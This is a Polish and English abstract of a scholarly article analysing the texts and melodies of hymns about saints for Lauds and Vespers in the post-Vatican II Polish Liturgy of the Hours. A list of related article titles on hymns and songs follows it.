Kult świętych rozwijał się bardzo żywo od początku chrześcijaństwa. Wyraża się on w trzech formach: veneratio – cześć oddawana świętym; imitatio – naśladowanie przykładu ich życia; invocatio – przyzywanie ich wstawiennictwa, które zawsze zmierza do Ojca uwielbionego w swoich świętych. Najpełniej dokonuje się to w liturgii, a więc także w Liturgii godzin. Jakże zatem ważne stało się odpowiednie przygotowanie tekstów i melodii do odnowionej po Soborze Watykańskim II Liturgii godzin, której częścią stały się liturgiczne wspomnienia, święta i uroczystości świętych Pańskich oraz teksty wspólne o świętych. Element konstytutywny dwóch zasadniczych godzin kanonicznych, Jutrzni i Nieszporów, obok czytania, psalmodii i modlitwy, stanowią hymny, których teksty należało na nowo przejrzeć i przygotować według zasad opracowanych przez specjalnie utworzoną do tego celu Grupę Studyjną Cœtus VII. Pełny zestaw hymnów w posoborowej Liturgii godzin osiągnął niespotykaną dotąd liczbę 291 utworów. Przekładu na język polski większości hymnów do Liturgii godzin dokonał P. Galiński. Oczywiście, zgodnie z zaleceniami Kongregacji Rytów, po ukazaniu się Liturgii godzin w języku polskim, należało dołożyć starań, by ułożono do niej odpowiednie melodie, szczególnie do części z natury swojej przeznaczonych do śpiewu, a więc m.in. hymnów. W niniejszym artykule zostały poddane analizie teksty i melodie hymnów o świętych na dwie najważniejsze godziny kanoniczne, Jutrznię i Nieszpory, jakie zostały wydane w hymnarzu zatytułowanym Wybrane hymny na Jutrznię i Nieszpory, opracowanym pod redakcją s. J. M. Bujalskiej PDDM i autorki niniejszego artykułu. Wydano go w 2012 r. z inicjatywy Zgromadzenia Sióstr Uczennic Boskiego Mistrza. Obok hymnów liturgicznych w omawianym przez nas zbiorze zostały zamieszczone także pieśni kościelne o świętych, które można wykonać w miejsce hymnu. Przegląd i analiza tekstów hymnów o świętych doprowadziła do wniosków, że nie wszystkie reguły dobrze skomponowanego hymnu, wypracowane przez Cœtus VII, zostały zastosowane w tekstach hymnicznych o świętych, zamieszczonych w polskim wydaniu księgi Liturgii godzin. Z kolei prezentacja kompozycji o świętych zawartych w zbiorze Wybrane hymny na Jutrznię i Nieszpory wykazała ogromne bogactwo form oraz stylów muzycznych, jakie one reprezentują. Z jednej strony ujawniła charakterystyczne dla polskiej twórczości liturgicznej silne odniesienia do romantycznych pieśni ludowych oraz mocne przywiązanie do skal diatonicznych, z drugiej ukazała podejmowane przez kompozytorów próby nawiązywania do współczesnej stylistyki muzycznej. To wszystko daje szerokie spektrum patrzenia na współczesną twórczość liturgiczną oraz pozwala wyznaczyć jej nowe drogi rozwoju.

EN

The cult of saints has been developing very vividly since the beginning of Christianity. It is expressed in three forms: veneratio – worship of the saints; imitatio – imitation of the example of their lives; invocatio – invocation of their intercession, which always leads to the Father glorified in his saints. This is most fully done in the liturgy, and thus also in the Liturgy of the Hours. Therefore, it was important to prepare the texts and melodies for the Liturgy of the Hours, renewed after the Second Vatican Council, which included liturgical memories, feasts and feasts of the Lord’s saints and common texts on saints. The constitutive element of the two basic canonical hours, Matins and Vespers, apart from reading, psalmody and prayer, are the hymns, the texts of which had to be reviewed and prepared according to the rules developed by the specially created Cœtus VII Study Group. The full set of hymns in the post-conciliar Liturgy of the Hours reached an unprecedented number of 291 songs. Most of the hymns of the Liturgy of the Hours were translated into Polish by P. Galiński. Of course, according to the recommendations of the Congregation of Rites, after the publication of the Liturgy of the Hours in the Polish language, it was necessary to make every effort to arrange appropriate melodies for it, especially for the parts intended by nature for singing, such as hymns. This article analyses the texts and melodies of the hymns about saints for the two most important canonical hours: Matins and Vespers, published in Selected hymns for Matins and Vespers, edited by s. J. M. Bujalska PDDM and s. M. D. Nowak PDDM. It was published in 2012 on the initiative of the Disciples of the Divine Master. In addition to the liturgical hymns, the collection discussed here also includes church songs about saints, which can be performed in place of the hymn. The review and analysis of the hymns on saints led to the conclusion that not all the rules of a well composed hymn, developed by Cœtus VII, were applied in the hymn texts on saits, published in the Polish edition of the Book Liturgy of the Hours. In turn, the presentation of compositions about saints included in the collection Selected hymns for Matins and Vespers, showed a huge richness of forms and musical styles that they represent. On the one hand, it revealed strong references to romantic folk songs and a strong attachment to diatonic scales, which are characteristic of Polish liturgical work. On the other hand, it revealed the attempts of composers to refer to contemporary music stylistics. All this gives a wide spectrum of views on contemporary liturgical work and allows us to set new paths for its development.

Refine search results

Pieśń o wójcie krakowskim Albercie – przekaz historyczny w poetyckim sztafażu.

„Racz nam wrócić, Panie...”

Pieśni Ireny Wieniawskiej do słów Paula Verlaine'a

Laudacja bohatera narodowego w "Pieśniach o księciu" Józefie Artura Oppmana

Where Is My Home? The Czech National Anthem: its Problems, Controversies, and Strengths

Napłakać się z Chopinem. Stefana Witwickiego śpiew przez łzy

CYGANIE, HIPISI I DZIENNIKARZE (ROMANTYZM I KONTRKULTURY1)

Znaczenie pieśni religijnej w liturgii Kościoła katolickiego

Twórczość wokalna Jerzego Gablenza (1888-1937). Próba systematyzacji

Carmina "De Sodoma" et "De Iona": una relectura

“Shall I show joy or sorrow?” (Poem 31). Pain of loss – a study of Paulinus of Nola’s works

Pieśni ku czci Matki Bożej Bolesnej w wybranych polskich śpiewnikach katolickich

>>Cudownie nieartykułowana mowa dźwięków<<. Muzyczno-literacki motyw lipy w pieśni piątej z „Winterreise” Franza Schuberta i „Der Lindenbaum” Wilhelma Müllera w przekładzie Stanisława Barańczaka

Znaczenia pieśni w wierszu Do obywatela Johna Brown

Polskie śpiewy na Boże Ciało w Kancjonale S.S. Jagodyńskiego (wyd. 1638, 1695)

Współczesna polska pieśń kościelna ku czci Bożego Miłosierdzia na przykładzie dwóch zbiorów: Pieśni do Miłosierdzia Bożego oraz Bóg bogaty w miłosierdzie

Między Bogiem a Naturą. Słowo i muzyka w świecie Leśmiana

O skrzypcach oraz ich muzyce w wierszu do „artysty zapomnianego” - Do Nikodema Biernackiego

O skrzypcach oraz ich muzyce w wierszu do "artysty zapomnianego" - do Nikodema Biernackiego

Od ideału do codziennej praktyki. Hymny o świętych na Jutrznię i Nieszpory w posoborowej Liturgii godzin